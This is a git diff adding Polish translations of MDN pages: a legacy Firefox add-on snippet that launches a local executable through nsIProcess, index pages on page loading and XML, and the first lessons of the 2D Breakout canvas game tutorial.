+<pre class="eval">// create an nsILocalFile for the executable
+var file = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("c:\\myapp.exe");
+
+// create an nsIProcess
+var process = Components.classes["@mozilla.org/process/util;1"]
+ .createInstance(Components.interfaces.nsIProcess);
+process.init(file);
+
+// Run the process.
+// If first param is true, calling thread will be blocked until
+// called process terminates.
+// Second and third params are used to pass command-line arguments
+// to the process.
+var args = ["argument1", "argument2"];
+process.run(false, args, args.length);
+</pre>
+
+<h3 id="Odno.C5.9Bniki" name="Odno.C5.9Bniki">Odnośniki</h3>
+
+<ul>
+ <li><a href="pl/NsILocalFile">nsILocalFile interface</a></li>
+ <li><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIProcess.html">interfejs nsIProcess</a></li>
+ <li>If you need to launch an executable bundled in your XPI, see <a href="pl/Fragmenty_kodu/Plik_I%2f%2fO#Pobieranie_swojego_folderu_rozszerze.C5.84">Fragmenty kodu:Plik I/O#Pobieranie swojego folderu rozszerzeń</a>.</li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.extensions/browse_frm/thread/947e63c95c14b5a5">Launching an executable process from a web page</a></li>
+</ul>
diff --git a/files/pl/fragmenty_kodu/wczytywanie_strony/index.html b/files/pl/fragmenty_kodu/wczytywanie_strony/index.html
new file mode 100644
index 0000000000..308e579b35
--- /dev/null
+++ b/files/pl/fragmenty_kodu/wczytywanie_strony/index.html
@@ -0,0 +1,29 @@
+---
+title: Wczytywanie strony
+slug: Fragmenty_kodu/Wczytywanie_strony
+tags:
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Add-ons/Code_snippets/Page_Loading
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}</p>
+
+<h3 id="Wczytywanie_strony" name="Wczytywanie_strony">Wczytywanie strony</h3>
+
+<dl>
+ <dt><a href="/pl/Fragmenty_kodu/On_page_load" title="pl/Fragmenty_kodu/On_page_load">On page load</a></dt>
+ <dd><small>Odczytywanie i wykonywanie kodu podczas wczytywania nowej strony w przeglądarce/programie pocztowym.</small></dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Fragmenty_kodu/Progress_Listeners" title="pl/Fragmenty_kodu/Progress_Listeners">Progress Listeners</a></dt>
+ <dd><small>Czytniki postępu udostępniają rozszerzenia zawiadamiające o wydarzeniach związanych z ładowaniem w przeglądarce i z przełączaniem kart.</small></dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Fragmenty_kodu/Post_data_to_window" title="pl/Fragmenty_kodu/Post_data_to_window">Post data to window</a></dt>
+ <dd><small>Kod wysyłający dane to istniejącego lub nowego okna/karty.</small></dd>
+</dl>
diff --git a/files/pl/fragmenty_kodu/xml/index.html b/files/pl/fragmenty_kodu/xml/index.html
new file mode 100644
index 0000000000..e03eb2f116
--- /dev/null
+++ b/files/pl/fragmenty_kodu/xml/index.html
@@ -0,0 +1,25 @@
+---
+title: XML
+slug: Fragmenty_kodu/XML
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets/XML
+---
+<p>
+</p>
+<ul><li><a href="pl/Jak_utworzy%c4%87_drzewo_DOM">Jak utworzyć drzewo DOM</a>
+</li><li><a href="pl/XMLHttpRequest">Zastosowanie XMLHttpRequest</a>
+</li><li><a href="pl/Przetwarzanie_i_serializacja_XML">Przetwarzanie i serializacja XML</a>
+</li><li><a href="pl/Zastosowanie_XPath">Zastosowanie XPath</a>
+</li><li><a href="pl/Transformacje_XSL">Transformacje XSL</a>
+</li><li><a href="pl/XLink">XLink</a>
+</li><li><a href="pl/XPointer">XPointer</a>
+</li><li><a href="pl/SVG">SVG</a>
+</li><li><a href="pl/Przestrzenie_nazw">Przestrzenie nazw</a> albo dlaczego <code><a class=" external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a></code> znajduje się na górze każdego dokumentu XUL.
+</li><li><a href="pl/E4X">E4X</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Code_snippets/XML", "fr": "fr/Extraits_de_code/XML", "ja": "ja/Code_snippets/XML" } ) }}
diff --git a/files/pl/games/tutorials/2d_breakout_game_pure_javascript/index.html b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/index.html
new file mode 100644
index 0000000000..969badb79d
--- /dev/null
+++ b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/index.html
@@ -0,0 +1,58 @@
+---
+title: Gra Breakout 2D w czystym JavaScript
+slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript
+tags:
+ - 2D
+ - Canvas
+ - Gry
+ - JavaScript
+ - Początkujący
+ - Poradnik
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{Next("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim")}}</p>
+
+<p class="summary">W tym poradniku krok po kroku stworzymy prostą grę <strong>MDN Breakout</strong> napisaną w całości w czystym języku JavaScript oraz renderowaną w elemencie HTML5 {{htmlelement("canvas")}}.</p>
+
+<p>Każdy krok ma edytowalne, dostępne na żywo próbki do gry, dzięki czemu możesz zobaczyć, jak powinny wyglądać poszczególne etapy pośrednie. Nauczysz się podstaw używania elementu {{htmlelement("canvas")}} do implementowania podstawowych mechanik gry jak renderowanie, przesuwanie grafik, wykrywanie kolizji, mechanizmu sterowania oraz stanu wygrania/przegrania.</p>
+
+<p>Aby w pełni wykorzystać tę serię artykułów, powinieneś mieć już podstawową lub średnio zaawansowaną wiedzę z zakresu <a href="/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a>. Po zakończeniu tego poradnika powinieneś być w stanie budować swoje własne proste gry Webowe.</p>
+
+<p><img alt="Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives." src="https://mdn.mozillademos.org/files/10383/mdn-breakout-gameplay.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="Szczegóły_lekcji">Szczegóły lekcji</h2>
+
+<p>Wszystkie lekcje  — oraz poszczególne wersje gry <a href="http://breakout.enclavegames.com/lesson10.html">MDN Breakout</a> którą wspólnie tworzymy — są <a href="https://github.com/end3r/Canvas-gamedev-workshop">dostępne na GitHubie</a>:</p>
+
+<ol>
+ <li><a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim">Stwórz element Canvas i rysuj na nim</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball">Move the ball</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls">Bounce off the walls</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls">Paddle and keyboard controls</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over">Game over</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field">Build the brick field</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection">Collision detection</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">Track the score and win</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls">Mouse controls</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up">Finishing up</a></li>
+</ol>
+
+<p>Zaczynanie od nauki czystego języka JavaScript jest najlepszym sposobem aby uzyskać solidną wiedzę na temat tworzenia gier webowych. Później będziesz mógł wybrać i używać dowolnego frameworka najlepiej pasującego do twoich projektów. Jednak frameworki są tylko narzędziami zbudowanymi z wykorzystaniem języka JavaScript; więc jeśli nawet planujesz pracę z ich wykorzystaniem, dobrze jest nauczyć się najpierw języka, aby później wiedzieć co własciwie dzieje się "pod maską". Frameworki przyspieszają czas tworzenia i zajmują się "nudnymi" częściami podczas pisania gry, jeśli jednak coś nie zadziała zgodnie z oczekiwaniami, zawsze możesz zdebugować lub po prostu samemu napisać własne rozwiązanie korzystając z czystego JavaScript.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Jeśli chcesz dowiedzieć się więcej na temat tworzenia gier internetowych 2D za pomocą bibliotek zapoznaj się z odpowiednikiem tej serii <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Tę serię artykułów można wykorzystać jako materiał do praktycznych warsztatów poświęconych tworzeniu gier. Możesz także skorzystać z zestawu <a href="https://github.com/end3r/Gamedev-Canvas-Content-Kit">Gamedev Canvas Content</a> opartego na tym samouczku, jeśli chcesz wygłosić wykład nt. tworzenia gier.</p>
+</div>
+
+<h2 id="Następne_kroki">Następne kroki</h2>
+
+<p>Ok zaczynajmy! Przejdź do pierwszego rozdziału — <a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim">Stwórz element Canvas i rysuj na nim</a>.</p>
+
+<p>{{Next("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim")}} </p>
diff --git a/files/pl/games/tutorials/2d_breakout_game_pure_javascript/odbijanie_od_scian/index.html b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/odbijanie_od_scian/index.html
new file mode 100644
index 0000000000..6a50d3a083
--- /dev/null
+++ b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/odbijanie_od_scian/index.html
@@ -0,0 +1,111 @@
+---
+title: Odbijanie od ścian
+slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/odbijanie_od_scian
+tags:
+ - Animacja
+ - Canvas
+ - Grafika
+ - Gry
+ - Kurs
+ - Początkujący
+ - Przykład
+ - kolizja
+ - wykrywanie
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls")}}</p>
+
+<div class="summary">
+<p>To jest <strong>3-ci</strong> z 10-ciu kroków poradnika <a href="https://developer.mozilla.org/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">Gra Breakout 2D w czystym JavaScript</a>. Możesz zobaczyć kod źródłowy, który otrzymamy po ukończeniu tej lekcji, na <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson03.html">Gamedev-Canvas-workshop/lesson3.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Widzimy naszą piłkę w ruchu, jednak szybko znika ona poza ekranem gry zanim zdążymy się nią nacieszyć! Aby temu zaradzić, zaimplementujemy bardzo proste wykrywanie kolizji (która szczegółowo zostanie wyjaśniona <a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/wykrywanie_kolizji">później</a>) aby sprawić, żeby piłka obijałą się od każdej z czterech ścian canvasa.</span></p>
+
+<h2 id="Proste_wykrywanie_kolizji">Proste wykrywanie kolizji</h2>
+
+<p>Aby wykryć kolizję, sprawdzimy, czy nasza piłka dotyka (koliduje) ze ścianą, a jeżeli tak, odpowiednio zmienimy jej kierunek ruchu.</p>
+
+<p>Aby ułatwić sobie obliczenia, zdefiniujmy zmienną o nazwie <code>ballRadius</code> która będzie przechowywała promień rysowanego koła i będzie używana do obliczeń. Dodaj ten fragment do swojego kodu gdzieś poniżej deklaracji poprzednich zmiennych:</p>
+
+<pre class="brush: js">var ballRadius = 10;</pre>
+
+<p>Teraz zaktualizujmy linię w funkcji <code>drawBall()</code>, odpowiedzialną za rysowanie naszej piłki, na taką:</p>
+
+<pre class="brush: js">ctx.arc(x, y, ballRadius, 0, Math.PI*2);</pre>
+
+<h3 id="Odbijanie_od_góry_i_od_dołu">Odbijanie od góry i od dołu</h3>
+
+<p>Są cztery ściany od których piłka może się odbijać — na początek skupmy się na górnej. W każdej ramce musimy sprawdzić, czy piłka dotyka górnej krawędzi canvasa — jeżeli tak, zmienimy jej ruch tak, aby zaczęła poruszać się w przeciwnym kierunku i przez to pozostała w widocznych granicach. Pamiętając, iż system współrzędnych zaczyna się od górnego lewego narożnika, możemy zastosować takie rozwiązanie:</p>
+
+<pre class="brush: js">if(y + dy &lt; 0) {
+ dy = -dy;
+}</pre>
+
+<p>Jeżeli wartość <code>y</code> pozycji piłki jest mniejsza od zera, zmień kierunek ruchu na osi <code>y</code> ustawiając taką samą wartość, jednak z odwróconym znakiem. Jeżeli piłka porusza się w górę z prędkością 2 pikseli na ramkę, teraz będzie będzie poruszała się "do góry", ale z prędkością  -2 pikseli, co właściwie będzie ruchem do dołu z prędkością 2 pikseli na ramkę.</p>
+
+<p>Powyższy kod ma rozwiąże problem odbicia od górnej krawędzi, więc teraz pomyślmy o krawędzi dolnej:</p>
+
+<pre class="brush: js">if(y + dy &gt; canvas.height) {
+ dy = -dy;
+}</pre>
+
+<p>Jeżeli pozycja <code>y</code> piłki jest większa od wysokości canvasa, (pamiętaj, że pozycję <code>y</code> liczymy od góry, więc krawędź górna znajduje się na pozycji 0, natomiast dolna krawędź na pozycji  320 pikseli, czyli wysokość canvasa), wtedy odbijmy ją od krawędzi zamieniając kierunek ruchu w osi <code>y</code> jak zrobiliśmy to poprzednio.</p>
+
+<p>Możemy połączyć te dwie instrukcje w jedną, aby zaoszczędzić na szczegółowości kodu:</p>
+
+<pre class="brush: js">if(y + dy &gt; canvas.height || y + dy &lt; 0) {
+ dy = -dy;
+}</pre>
+
+<p>Jeżeli którykolwiek z warunków będzie równy <code>true</code>, odwróć kierunek ruchu piłki.</p>
+
+<h3 id="Odbijanie_od_lewej_i_prawej">Odbijanie od lewej i prawej</h3>
+
+<p>Mamy już obsługę odbicia od krawędzi górnej i dolnej, więc pomyślmy teraz o krawędziach bocznych. Właściwie kod jest bardzo podobny, więc wszystko co musisz zrobić to powtórzyć go dla <code>x</code> zamiast <code>y</code>:</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width || x + dx &lt; 0) {
+ dx = -dx;
+}
+
+if(y + dy &gt; canvas.height || y + dy &lt; 0) {
+ dy = -dy;
+}</pre>
+
+<p>W tym momencie powinieneś wprowadzić powyższy blok kodu do funkcji <code>draw()</code>, tuż przed zamykającym nawiasem klamrowym.</p>
+
+<h3 id="Piłka_znika_w_ścianie!">Piłka znika w ścianie!</h3>
+
+<p>Przetestuj swój kod na tym etapie, powinieneś być pod wrażeniem — mamy już piłkę, która odbija się od wszystkich krawędzi canvasa! Mamy jednak kolejny problem  — kiedy piłka uderza w ścianę, delikatnie się w niej "zatapia" przed zmianą kierunku:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10432/ball-in-wall.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<p>To dlatego, że liczymy punkt zderzenia ściany oraz środka piłki, podczas, gdy powinniśmy to robić dla jej obwodu. Piłka powinna odbić się w momencie, kiedy tylko dotknie ściany, a nie kiedy jest w połowie "w ścianie", poprawmy zatem trochę nasze warunki odbicia. Zaktualizuj swój ostatnio dodany kod na ten:</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width - ballRadius || x + dx &lt; ballRadius) {
+ dx = -dx;
+}
+if(y + dy &gt; canvas.height - ballRadius || y + dy &lt; ballRadius) {
+ dy = -dy;
+}</pre>
+
+<p>Kiedy odległość pomiędzy środkiem piłki a krawędzią jest dokładnie taka sama, jak promień piłki, zmień kierunek ruchu. Odjęcie wartości średnicy od jednej krawędzi i dodawanie do drugiej da na wrażenie właściwego wykrycia kolizji — piłka odbija się od ścian tak, jak powinna.</p>
+
+<h2 id="Porównaj_swój_kod">Porównaj swój kod</h2>
+
+<p>Sprawdźmy ostateczny kod dla tej części kursu z tym, co otrzymaliśmy oraz pobawmy się trochę:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","395")}}</p>
+
+<div class="note">
+<p><strong>Ćwiczenie</strong>: spróbuj zmienić kolor piłki na losowy za każdym razem, kiedy ta uderzy w ścianę.</p>
+</div>
+
+<h2 id="Następne_kroki">Następne kroki</h2>
+
+<p>Dotarliśmy do momentu, kiedy nasza piłka zarówno porusza się oraz pozostaje na planszy. W czwartym rozdziale nauczymy się w jaki sposób zaimplementować i kontrolować paletkę — zobacz <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Paddle_and_keyboard_controls">Paletka i sterowanie z klawiatury</a>.</p>
+
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls")}}</p>
diff --git a/files/pl/games/tutorials/2d_breakout_game_pure_javascript/posusz_pilka/index.html b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/posusz_pilka/index.html
new file mode 100644
index 0000000000..3d21b5f72e
--- /dev/null
+++ b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/posusz_pilka/index.html
@@ -0,0 +1,147 @@
+---
+title: Porusz piłką
+slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka
+tags:
+ - 2D
+ - Canvas
+ - Gry
+ - JavaScript
+ - Początkujący
+ - Poradnik
+ - Pętla
+ - ruch
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/odbijanie_od_scian")}}</p>
+
+<div class="summary">
+<p>To jest <strong>2-gi</strong> z 10-ciu kroków poradnika <a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">Gra Breakout 2D w czystym JavaScript</a>. Możesz zobaczyć kod źródłowy, który otrzymamy po ukończeniu tej lekcji, na <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson02.html">Gamedev-Canvas-workshop/lesson2.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Z poprzedniej części dowiedziałeś się w jaki sposób narysować piłkę, a teraz ją poruszymy. Z technicznego punktu widzenia, będziemy malować piłkę na ekranie, czyścić ten ekran i malować ją ponownie w nieco innej pozycji w każdej klatce aby uzyskać wrażenie ruchu — dokładnie tak, jak uzyskujemy ruch w filmach.</span></p>
+
+<h2 id="Definiowanie_pętli_rysowania">Definiowanie pętli rysowania</h2>
+
+<p>Aby stale aktualizować rysunek w każdej klatce, musimy zdefiniować funkcję rysowania, która będzie działała w kółko, za każdym razem z różnym zestawem wartości zmiennych aby zmieniać pozycję sprite'a, itd.  Możesz uruchomiać funkcję w kółko używając wbudowanych w JavaScript funkcji takich, jak  {{domxref("WindowTimers.setInterval()", "setInterval()")}} lub {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}.</p>
+
+<p>Usuń cały poprzedni kod JavaScript który miałeś dotychczas w swoim pliku HTML z wyjątkiem pierwszych dwóch linijek oraz dodaj pod nimi poniższy kod. Funkcja <code>draw()</code> będzie wykonywana w środku <code>setInterval</code> co 10 milisekund:</p>
+
+<pre class="brush: js">function draw() {
+ // kod rysowania
+}
+setInterval(draw, 10);</pre>
+
+<p>Dzięki wykorzystaniu <code>setInterval</code>, funkcja <code>draw()</code> będzie wywoływana co 10 milisekund bez przerwy, lub do czasu, kiedy ją zatrzymamy. Narysujmy więc teraz piłkę — dodaj ten kod do swojej funkcji <code>draw()</code>:</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.arc(50, 50, 10, 0, Math.PI*2);
+ctx.fillStyle = "#0095DD";
+ctx.fill();
+ctx.closePath();
+</pre>
+
+<p>Wypróbuj swój kod — piłka powinna być przerysowywana przy każdej klatce.</p>
+
+<h2 id="Poruszmy_piłkę">Poruszmy piłkę</h2>
+
+<p>W tym momencie nie będziesz w stanie zauważyć, że piłka stale jest przerysowywana, jako że nie zmienia swojej pozycji. Zmieńmy więc to. Po pierwsze, zamiast wpisanej na stałe pozycji (50,50), ustalmy punkt początkowy w dolnej środkowej części Canvas za pomocą zmiennych o nazwach <code>x</code> i <code>y</code>, a następnie użyjemy tych zmiennych do zdefiniowania pozycji na której będzie rysowana nasza piłka.</p>
+
+<p>Najpierw dodaj poniższe dwie linie kodu nad twoją funkcją <code>draw()</code> aby zdefiniować <code>x</code> i <code>y</code>:</p>
+
+<pre class="brush: js">var x = canvas.width/2;
+var y = canvas.height-30;
+</pre>
+
+<p>Następnie zmień swoją funkcję <code>draw()</code> tak, aby używała zmiennych <code>x</code> i <code>y</code> w metodzie {{domxref("CanvasRenderingContext2D.arc()","arc()")}} tak, jak zaznaczyliśmy to w poniższej linijce:</p>
+
+<pre class="brush: js; highlight:[3]">function draw() {
+ ctx.beginPath();
+ ctx.arc(x, y, 10, 0, Math.PI*2);
+ ctx.fillStyle = "#0095DD";
+ ctx.fill();
+ ctx.closePath();
+}
+</pre>
+
+<p>Teraz czas na najważniejszą część: po narysowaniu każdej ramki, będziemy dodawać niewielkie wartości do zmiennych <code>x</code> oraz <code>y</code> aby wyglądało na to, że nasza piłka się porusza. Zdefiniujmy te małe wartości jako <code>dx</code> i <code>dy</code> oraz przypiszmy do nich wartości kolejno 2 oraz -2. Dodaj ten kod poniżej definicji zmiennych x i y:</p>
+
+<pre class="brush: js">var dx = 2;
+var dy = -2;
+</pre>
+
+<p>Ostatnią rzeczą do zrobienia jest zaktualizowanie <code>x</code> i <code>y</code> o wartości zmiennych <code>dx</code> i <code>dy</code> w każdej ramce, dzięki czemu piłka będzie rysowana w nowej pozycji przy każdym odświeżeniu. Dodaj dwie, poniżej zaznaczone, linie do swojej funkcji <code>draw()</code>:</p>
+
+<pre class="brush: js; highlight:[7,8]">function draw() {
+ ctx.beginPath();
+ ctx.arc(x, y, 10, 0, Math.PI*2);
+ ctx.fillStyle = "#0095DD";
+ ctx.fill();
+ ctx.closePath();
+ x += dx;
+ y += dy;
+}</pre>
+
+<p>Zapisz ponownie kod i wypróbuj go w przeglądarce. Działa ok, jednak zdaje się, że piłka zostawia za sobą ślad:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10430/ball-trail.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="Czyszczenie_canvas_przed_każdą_ramką">Czyszczenie canvas przed każdą ramką</h2>
+
+<p>Piłka pozostawia ślad, ponieważ za każdym razem rysujemy nowe koło jednak bez usunięcia poprzedniego. Nie martw się, ponieważ dostępna jest metoda do czyszczenia całej zawartości canvas: {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}. Przekazujemy do niej cztery parametry: pozycję x i y górnego lewego narożnika oraz pozycję x i y dolnego prawego narożnika prostokąta. Cała powierzchnia pokryta przez ten prostokąt zostanie wyczyszczona ze wszystkich wcześniej namalowanych tam elementów.</p>
+
+<p>Dodaj podświetloną linie do funkcji <code>draw()</code>:</p>
+
+<pre class="brush: js; highlight:[2]">function draw() {
+ ctx.clearRect(0, 0, canvas.width, canvas.height);
+ ctx.beginPath();
+ ctx.arc(x, y, 10, 0, Math.PI*2);
+ ctx.fillStyle = "#0095DD";
+ ctx.fill();
+ ctx.closePath();
+ x += dx;
+ y += dy;
+}
+</pre>
+
+<p>Zapisz kod i uruchom go jeszcze raz. Tym razem zobaczysz poruszają się piłkę bez żadnego śladu. Co 10 millisekund canvas jest czyszczony, niebieskie koło (nasza piłka) jest rysowana na podanych współrzędnych <code>x</code> i <code>y</code> po czym ich wartości są aktualizowane.</p>
+
+<h2 id="Oczyszczanie_naszego_kodu">Oczyszczanie naszego kodu</h2>
+
+<p>Do naszej funkcji <code>draw()</code> będziemy dodawać coraz więcej i więcej poleceń w następnych krokach, więc dobrze jest utrzymać ją jak najbardziej przejrzystą i czytelną. Zacznijmy więc od przeniesienia kodu odpowiedzialnego za rysowanie piłki do osobnej funkcji.</p>
+
+<p>Zastąp naszą funkcję <code>draw()</code> poniższymi dwiema funkcjami:</p>
+
+<pre class="brush: js">function drawBall() {
+ ctx.beginPath();
+ ctx.arc(x, y, 10, 0, Math.PI*2);
+ ctx.fillStyle = "#0095DD";
+ ctx.fill();
+ ctx.closePath();
+}
+
+function draw() {
+ ctx.clearRect(0, 0, canvas.width, canvas.height);
+ drawBall();
+ x += dx;
+ y += dy;
+}</pre>
+
+<h2 id="Porównaj_swój_kod">Porównaj swój kod</h2>
+
+<p>Możesz porównać kod z tego etapu ze swoim kodem w poniższym podglądem na żywo, oraz spróbować pobawić się nim, aby lepiej zrozumieć jak to działa:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","395")}}</p>
+
+<div class="summary">
+<p>Ćwiczenie: spróbuj zmienić prędkość i kierunek pooruszania się piłki.</p>
+</div>
+
+<h2 id="Następne_kroki">Następne kroki</h2>
+
+<p>Narysowaliśmy naszą piłkę i nadaliśmy jej ruch, jednak znika ona poza krawędzią canvasa. W rozdziale trzecim odkryjemy w jaki sposób spraić, aby <a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/odbijanie_od_scian">odbijała się od ścian</a>.</p>
+
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/odbijanie_od_scian")}}</p>
diff --git a/files/pl/games/tutorials/2d_breakout_game_pure_javascript/stworz_element_canvas_i_rysuj_na_nim/index.html b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/stworz_element_canvas_i_rysuj_na_nim/index.html
new file mode 100644
index 0000000000..72e920c9a8
--- /dev/null
+++ b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/stworz_element_canvas_i_rysuj_na_nim/index.html
@@ -0,0 +1,118 @@
+---
+title: Stwórz element Canvas i rysuj na nim
+slug: >-
+ Games/Tutorials/2D_Breakout_game_pure_JavaScript/Stworz_element_Canvas_i_rysuj_na_nim
+tags:
+ - 2D
+ - Canvas
+ - Gry
+ - HTML
+ - JavaScript
+ - Początkujący
+ - Poradnik
+translation_of: >-
+ Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka")}}</p>
+
+<div class="summary">
+<p>To jest <strong>1-wszy</strong> z 10-ciu kroków poradnika <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Możesz zobaczyć kod źródłowy, który otrzymamy po ukończeniu tej lekcji, na <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html">Gamedev-Canvas-workshop/lesson1.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Zanim zaczniemy pisać funkcjonalność gry, musimy stworzyć podstawową strukturę, w której będziemy renderować grę. Strukturę utworzymy przy wykorzystaniu języka HTML oraz elementu {{htmlelement("canvas")}}.</span></p>
+
+<h2 id="Struktura_HTML_gry">Struktura HTML gry</h2>
+
+<p>Struktura dokumentu HTML jest dosyć prosta ze względu na fakt, że całość gry będzie renderowana w elemencie {{htmlelement("canvas")}}. Korzystając ze swojego ulubionego edytora utwórz nowy dokument HTML i zapisz go jako <code>index.html</code>, oraz dodaj do niego poniższy fragment kodu:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;meta charset="utf-8" /&gt;
+ &lt;title&gt;Gamedev Canvas Workshop&lt;/title&gt;
+ &lt;style&gt;
+ * { padding: 0; margin: 0; }
+ canvas { background: #eee; display: block; margin: 0 auto; }
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;canvas id="myCanvas" width="480" height="320"&gt;&lt;/canvas&gt;
+
+&lt;script&gt;
+ // Tutaj będzie kod JavaScript
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
